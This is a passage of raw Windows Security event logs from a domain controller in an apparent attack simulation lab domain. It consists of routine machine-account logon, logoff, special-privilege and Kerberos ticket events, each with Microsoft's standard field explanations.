C:\Windows\System32\msdtc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\msdtc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248383 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2F57 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248382 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB2F57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63896 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248381 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2F57 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248380 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2EFA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248379 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB2EFA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63895 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248378 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2EFA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248377 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9D678683-75C2-D47D-B8DA-5C26C43328ED} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248395 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB30E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248394 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB30E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63900 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248393 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB30E9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248392 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB308C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248391 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB308C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63899 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248390 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB308C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248389 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB302A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248388 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB302A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63898 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248387 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB302A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248386 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2FCD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248385 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB2FCD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63897 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248384 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB2FCD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248407 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB32AA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248406 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB32AA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63904 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248405 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB32AA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248404 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB324C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248403 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB324C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63903 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248402 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB324C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248401 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB31E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248400 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB31E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63902 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248399 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB31E9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - 